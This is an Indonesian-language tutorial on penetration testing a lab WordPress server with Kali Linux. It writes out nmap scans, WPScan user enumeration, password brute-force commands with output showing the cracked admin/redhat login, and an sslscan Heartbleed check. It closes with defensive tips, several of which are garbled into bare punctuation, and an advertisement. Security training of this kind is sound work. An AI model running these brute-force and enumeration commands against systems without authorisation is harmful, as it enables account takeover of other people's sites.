Temukan dan tidak menetralkan: menulis tes penetrasi dengan Kali Linux

Kali dan alat serupa lainnya membantu mendeteksi kerentanan di perangkat lunak Anda. Dan lebih baik jika Anda menemukan mereka terlebih dahulu, dan bukan para penyusup.







Anda tidak dapat menyembunyikan penusuk dalam karung: karena ketidaktahuan (meskipun dalam beberapa kasus - dengan sengaja) bahkan perusahaan besar pun meninggalkan lubang di sistem keamanan mereka. Sangat penting untuk (1) melokalkan dan (2) memperbaikinya secepat mungkin. Untungnya, ada banyak produk berbeda yang membantu poin pertama. Diantaranya adalah Kali , distribusi Linux yang dirancang untuk pengujian keamanan. Pada artikel ini, saya akan menunjukkan kepada Anda bagaimana menggunakan Kali Linux untuk menyelidiki sistem Anda dan menemukan kelemahan dengan mensimulasikan penyerang.



Distribusi Kali mencakup banyak alat, yang semuanya open source. Ini cukup untuk menjalankan instalasi distribusi dan semua alat ini akan tersedia di luar kotak.







Gambar : Peter Gervase , CC BY-SA 4.0



Saya akan menggunakan dua sistem sebagai subjek tes:



  1. kali.usersys.redhat.com : memori 30 GB dan 6 CPU virtual. Sistem ini akan memindai korban dan meluncurkan serangan.



  2. kerentanan.usersys.redhat.com : Sistem dengan Red Hat Enterprise Linux 8 on board. Di sini dia perlu diserang.


Saya menyebutkan karakteristik teknis peralatan di sini karena suatu alasan. Beberapa tugas kami cukup menuntut pada perangkat keras, terutama CPU sistem 2, yang akan menjalankan pemindai keamanan WordPress ( WPScan ).



Cari port terbuka



Saya mulai dengan pemindaian dasar sistem 2. Dengan memindai sistem dengan Nmap , Anda dapat mengetahui port dan layanan mana yang terlihat dari sistem 1 yang memulai pemindaian.







Gambar : Peter Gervase , CC BY-SA 4.0



Jadi hal pertama yang harus dilakukan adalah menemukan beberapa port terbuka yang "menarik" - potensi kelemahan. Faktanya, port terbuka apa pun menarik karena lebih cenderung membobol jaringan. Dalam contoh ini, 21, 22, 80, dan 443 juga merupakan port untuk layanan yang sering digunakan. Tetapi untuk saat ini, saya hanya melakukan intelijen dan mencoba mendapatkan informasi sebanyak mungkin tentang sistem yang ingin saya retas.



Setelah itu, untuk analisis yang lebih dalam, saya akan memilih port 80 dan menjalankan perintah Nmap dengan argumen -p 80 dan -A. Ini memungkinkan Anda mendapatkan informasi tentang sistem operasi dan aplikasi yang menggunakan port 80.







Gambar : Peter Gervase , CC BY-SA 4.0



Di sini kami tertarik pada baris berikut:



PORT   STATE SERVICE VERSION

80/tcp open  http       Apache httpd 2.4.37 ((Red Hat Enterprise Linux))

|_http-generator: WordPress 5.6.1
      
      







Menemukan informasi tentang pengguna



Karena sekarang saya tahu ini adalah server WordPress, saya dapat menggunakan WPScan untuk mendapatkan informasi tentang potensi kerentanan. Alangkah baiknya menemukan beberapa nama pengguna dan kata sandinya. Untuk menemukannya dalam contoh WordPress tertentu, gunakan opsi --enumerate u: Great, found two users: admin dan pgervase . Saya akan mencoba menebak kata sandi untuk pengguna admin menggunakan kamus kata sandi - file teks dengan serangkaian opsi yang memungkinkan. Saya akan mengambil kamus dari 3.231 dan 3.543.076.137 baris.



┌──(rootkali)-[~]



└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u



_______________________________________________________________



        __              _______   _____



        \ \     / /  __ \ / ____|



        \ \  /\  / /| |__) | (___   ___  __ _ _ __



        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \



                \  /\  /  | |   ____) | (__| (_| | | | |



                \/  \/   |_|    |_____/ \___|\__,_|_| |_|



        WordPress Security Scanner by the WPScan Team



                        Version 3.8.10



        Sponsored by Automattic — https://automattic.com/



        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart



_______________________________________________________________



[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]



[+] Started: Tue Feb 16 21:38:49 2021



Interesting Finding(s):



...



[i] User(s) Identified:



[+] admin



 | Found By: Author Posts — Display Name (Passive Detection)



 | Confirmed By:



 |  Author Id Brute Forcing — Author Pattern (Aggressive Detection)



 |  Login Error Messages (Aggressive Detection)



[+] pgervase



 | Found By: Author Posts — Display Name (Passive Detection)



 | Confirmed By:



 |  Author Id Brute Forcing — Author Pattern (Aggressive Detection)



 |  Login Error Messages (Aggressive Detection)











Menebak kata sandi dengan serangan kamus



Berbagai alat dapat digunakan untuk serangan kamus. Berikut adalah dua contoh perintah dengan Nmap dan WPScan:



# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com

# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt

      
      





Kedua alat ini, tentu saja, dapat melakukan lebih banyak hal, tetapi keduanya juga cocok untuk menebak kata sandi. 



Tetapi perintah WPScan ini, misalnya, menampilkan kata sandi di akhir file:



┌──(rootkali)-[~]

└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin

_______________________________________________________________

        __              _______   _____

        \ \     / /  __ \ / ____|

        \ \  /\  / /| |__) | (___   ___  __ _ _ __ 

        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \

                \  /\  /  | |   ____) | (__| (_| | | | |

                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team

                        Version 3.8.10

        Sponsored by Automattic — https://automattic.com/

        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]

[+] Started: Thu Feb 18 20:32:13 2021

Interesting Finding(s):

…..

[+] Performing password attack on Wp Login against 1 user/s

Trying admin / redhat Time: 00:01:57 

<==================================================================================================================>

 (3231 / 3231) 100.00% Time: 00:01:57

Trying admin / redhat Time: 00:01:57 

<=========================================================            

                                             > (3231 / 6462) 50.00% 

 ETA: ??:??:??

[SUCCESS] — admin / redhat                                              

                                                                        

                                                

[!] Valid Combinations Found:

 | Username: admin, Password: redhat
      
      





Bagian yang Valid Kombinasi Ditemukan di akhir berisi nama pengguna admin dan kata sandinya. Hanya butuh dua menit untuk mengulang lebih dari 3.231 baris.



Saya memiliki file kamus lain dengan 3.238.659.984 entri unik, yang akan memakan waktu lebih lama.



Nmap menghasilkan hasil lebih cepat:



┌──(rootkali)-[~]

└─# nmap -sV --script http-wordpress-brute 

--script-args userdb=users.txt,passdb=password.txt,threads=6 

vulnerable.usersys.redhat.com

Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST

Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)

Host is up (0.00015s latency).

Not shown: 995 closed ports

PORT    STATE SERVICE VERSION

21/tcp   open  ftp      vsftpd 3.0.3

22/tcp   open  ssh      OpenSSH 8.0 (protocol 2.0)

80/tcp   open  http     Apache httpd 2.4.37 ((Red Hat Enterprise Linux))

|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)

| http-wordpress-brute:

|   Accounts:

|       admin:redhat — Valid credentials              <<<<<<<

|       pgervase:redhat — Valid credentials         <<<<<<<

|_  Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0

111/tcp  open  rpcbind 2-4 (RPC #100000)

| rpcinfo:

|   program version     port/proto  service

|   100000  2,3,4       111/tcp   rpcbind

|   100000  2,3,4       111/udp   rpcbind

|   100000  3,4         111/tcp6  rpcbind

|_  100000  3,4         111/udp6  rpcbind

3306/tcp open  mysql   MySQL 5.5.5-10.3.27-MariaDB

MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)

Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
      
      







Benar, pemindaian semacam itu dapat dilacak oleh log HTTPD yang akan terdeteksi di sistem yang disusupi:



10.19.47.170

 - — [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575

 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 

(https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»
      
      







Telusuri Kerentanan Hati



Untuk mendapatkan informasi tentang server HTTPS dan protokol SSL / TLS, saya menggunakan perintah sslscan:



┌──(rootkali)-[~]

└─# sslscan vulnerable.usersys.redhat.com

Version: 2.0.6-static

OpenSSL 1.1.1i-dev  xx XXX xxxx

Connected to 10.19.47.242

Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com

  SSL/TLS Protocols:

SSLv2   disabled

SSLv3   disabled

TLSv1.0   disabled

TLSv1.1   disabled

TLSv1.2   enabled

TLSv1.3   enabled

<snip>
      
      







Kami melihat bahwa kerentanan Heartbleed tidak ditemukan dalam versi protokol yang digunakan di server :



Heartbleed:

TLSv1.3 not vulnerable to heartbleed

TLSv1.2 not vulnerable to heartbleed
      
      







Artinya, saya tidak dapat mengakses RAM dan data server melalui modul Heartbeat. Yah ... itu bukan takdir :)



Tips Pencegahan dan Perlindungan Peretasan



Anda dapat menulis banyak artikel tentang cara menahan serangan dari semua kalangan. Di sini saya akan membatasi diri saya pada rekomendasi umum:



  • Periksa sistem Anda : port mana yang terbuka, port mana yang harus dibuka, siapa yang dapat melihat port tersebut, dan berapa banyak lalu lintas yang harus melewatinya. Nmap untuk membantu Anda.



  • : , , ​​. .



  • : , , WordPress, IP- . , IP- , . , .



  • : , .



  • : , . , .



  • , : , « - ».



  • Manfaatkan alat tambahan dari vendor perangkat lunak Anda: misalnya, Red Hat Enterprise Linux menyertakan Red Hat Insights untuk menyesuaikan sistem Anda dan memperingatkan Anda tentang potensi ancaman keamanan secara tepat waktu.


Bahan yang berguna (dalam bahasa Inggris)



Apa yang dijelaskan dalam artikel ini hanyalah puncak gunung es. Untuk menyelami lebih dalam, Anda dapat menjelajahi sumber daya berikut:










Server cloud dari Macleod cepat dan aman.



Daftar menggunakan tautan di atas atau dengan mengklik spanduk dan dapatkan diskon 10% untuk bulan pertama menyewa server dengan konfigurasi apa pun!






All Articles